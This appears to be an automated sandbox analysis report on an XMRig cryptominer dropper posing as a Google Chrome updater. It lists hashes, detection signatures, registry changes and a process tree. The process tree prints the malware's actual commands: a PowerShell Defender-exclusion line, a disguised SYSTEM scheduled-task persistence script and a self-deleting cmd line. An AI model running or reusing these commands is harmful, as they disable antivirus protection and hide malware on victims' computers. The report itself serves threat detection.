Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1801s - max time network
1805s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
- Target grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
- Size 2.0MB
- Sample240123-x59d7agbd6
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 960 created 3556 960 LM3BR4UBmKBzBP5H.exe 53 PID 960 created 3556 960 LM3BR4UBmKBzBP5H.exe 53 PID 960 created 3556 960 LM3BR4UBmKBzBP5H.exe 53 PID 960 created 3556 960 LM3BR4UBmKBzBP5H.exe 53 PID 2636 created 3556 2636 updater.exe 53 PID 2636 created 3556 2636 updater.exe 53 PID 2636 created 3556 2636 updater.exe 53 PID 2128 created 3556 2128 conhost.exe 53 PID 2636 created 3556 2636 updater.exe 53 PID 2636 created 3556 2636 updater.exe 53 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral18/memory/3336-130-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-134-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-135-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-137-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-141-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-143-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-145-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-147-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-149-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-151-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-153-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-155-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-157-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-159-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-161-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-163-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-165-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-167-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-169-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-171-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-173-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-175-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-177-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-179-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-181-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-183-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-185-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-187-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-189-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig behavioral18/memory/3336-191-0x00007FF76FB80000-0x00007FF770374000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 2636 updater.exe -
resource yara_rule behavioral18/memory/3336-123-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-130-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-134-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-135-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-137-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-141-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-143-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-145-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-147-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-149-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-151-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-153-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-155-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-157-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-159-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-161-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-163-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-165-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-167-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-169-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-171-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-173-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-175-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-177-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-179-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-181-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-183-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-185-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-187-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-189-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx behavioral18/memory/3336-191-0x00007FF76FB80000-0x00007FF770374000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2636 set thread context of 2128 2636 updater.exe 110 PID 2636 set thread context of 3336 2636 updater.exe 116 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe LM3BR4UBmKBzBP5H.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4796 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 960 LM3BR4UBmKBzBP5H.exe 960 LM3BR4UBmKBzBP5H.exe 2324 powershell.exe 2324 powershell.exe 960 LM3BR4UBmKBzBP5H.exe 960 LM3BR4UBmKBzBP5H.exe 1532 powershell.exe 1532 powershell.exe 960 LM3BR4UBmKBzBP5H.exe 960 LM3BR4UBmKBzBP5H.exe 960 LM3BR4UBmKBzBP5H.exe 960 LM3BR4UBmKBzBP5H.exe 2852 powershell.exe 2852 powershell.exe 2636 updater.exe 2636 updater.exe 4948 powershell.exe 4948 powershell.exe 2636 updater.exe 2636 updater.exe 1636 powershell.exe 1636 powershell.exe 2636 updater.exe 2636 updater.exe 2128 conhost.exe 2128 conhost.exe 2636 updater.exe 2636 updater.exe 2636 updater.exe 2636 updater.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2324 powershell.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeIncreaseQuotaPrivilege 1532 powershell.exe Token: SeSecurityPrivilege 1532 powershell.exe Token: SeTakeOwnershipPrivilege 1532 powershell.exe Token: SeLoadDriverPrivilege 1532 powershell.exe Token: SeSystemProfilePrivilege 1532 powershell.exe Token: SeSystemtimePrivilege 1532 powershell.exe Token: SeProfSingleProcessPrivilege 1532 powershell.exe Token: SeIncBasePriorityPrivilege 1532 powershell.exe Token: SeCreatePagefilePrivilege 1532 powershell.exe Token: SeBackupPrivilege 1532 powershell.exe Token: SeRestorePrivilege 1532 powershell.exe Token: SeShutdownPrivilege 1532 powershell.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeSystemEnvironmentPrivilege 1532 powershell.exe Token: SeRemoteShutdownPrivilege 1532 powershell.exe Token: SeUndockPrivilege 1532 powershell.exe Token: SeManageVolumePrivilege 1532 powershell.exe Token: 33 1532 powershell.exe Token: 34 1532 powershell.exe Token: 35 1532 powershell.exe Token: 36 1532 powershell.exe Token: SeIncreaseQuotaPrivilege 1532 powershell.exe Token: SeSecurityPrivilege 1532 powershell.exe Token: SeTakeOwnershipPrivilege 1532 powershell.exe Token: SeLoadDriverPrivilege 1532 powershell.exe Token: SeSystemProfilePrivilege 1532 powershell.exe Token: SeSystemtimePrivilege 1532 powershell.exe Token: SeProfSingleProcessPrivilege 1532 powershell.exe Token: SeIncBasePriorityPrivilege 1532 powershell.exe Token: SeCreatePagefilePrivilege 1532 powershell.exe Token: SeBackupPrivilege 1532 powershell.exe Token: SeRestorePrivilege 1532 powershell.exe Token: SeShutdownPrivilege 1532 powershell.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeSystemEnvironmentPrivilege 1532 powershell.exe Token: SeRemoteShutdownPrivilege 1532 powershell.exe Token: SeUndockPrivilege 1532 powershell.exe Token: SeManageVolumePrivilege 1532 powershell.exe Token: 33 1532 powershell.exe Token: 34 1532 powershell.exe Token: 35 1532 powershell.exe Token: 36 1532 powershell.exe Token: SeIncreaseQuotaPrivilege 1532 powershell.exe Token: SeSecurityPrivilege 1532 powershell.exe Token: SeTakeOwnershipPrivilege 1532 powershell.exe Token: SeLoadDriverPrivilege 1532 powershell.exe Token: SeSystemProfilePrivilege 1532 powershell.exe Token: SeSystemtimePrivilege 1532 powershell.exe Token: SeProfSingleProcessPrivilege 1532 powershell.exe Token: SeIncBasePriorityPrivilege 1532 powershell.exe Token: SeCreatePagefilePrivilege 1532 powershell.exe Token: SeBackupPrivilege 1532 powershell.exe Token: SeRestorePrivilege 1532 powershell.exe Token: SeShutdownPrivilege 1532 powershell.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeSystemEnvironmentPrivilege 1532 powershell.exe Token: SeRemoteShutdownPrivilege 1532 powershell.exe Token: SeUndockPrivilege 1532 powershell.exe Token: SeManageVolumePrivilege 1532 powershell.exe Token: 33 1532 powershell.exe Token: 34 1532 powershell.exe Token: 35 1532 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 316 wrote to memory of 948 316 cmd.exe 102 PID 316 wrote to memory of 948 316 cmd.exe 102 PID 2852 wrote to memory of 564 2852 powershell.exe 103 PID 2852 wrote to memory of 564 2852 powershell.exe 103 PID 2636 wrote to memory of 2128 2636 updater.exe 110 PID 232 wrote to memory of 4796 232 cmd.exe 115 PID 232 wrote to memory of 4796 232 cmd.exe 115 PID 2636 wrote to memory of 3336 2636 updater.exe 116 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3556
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:564
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:316 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4948
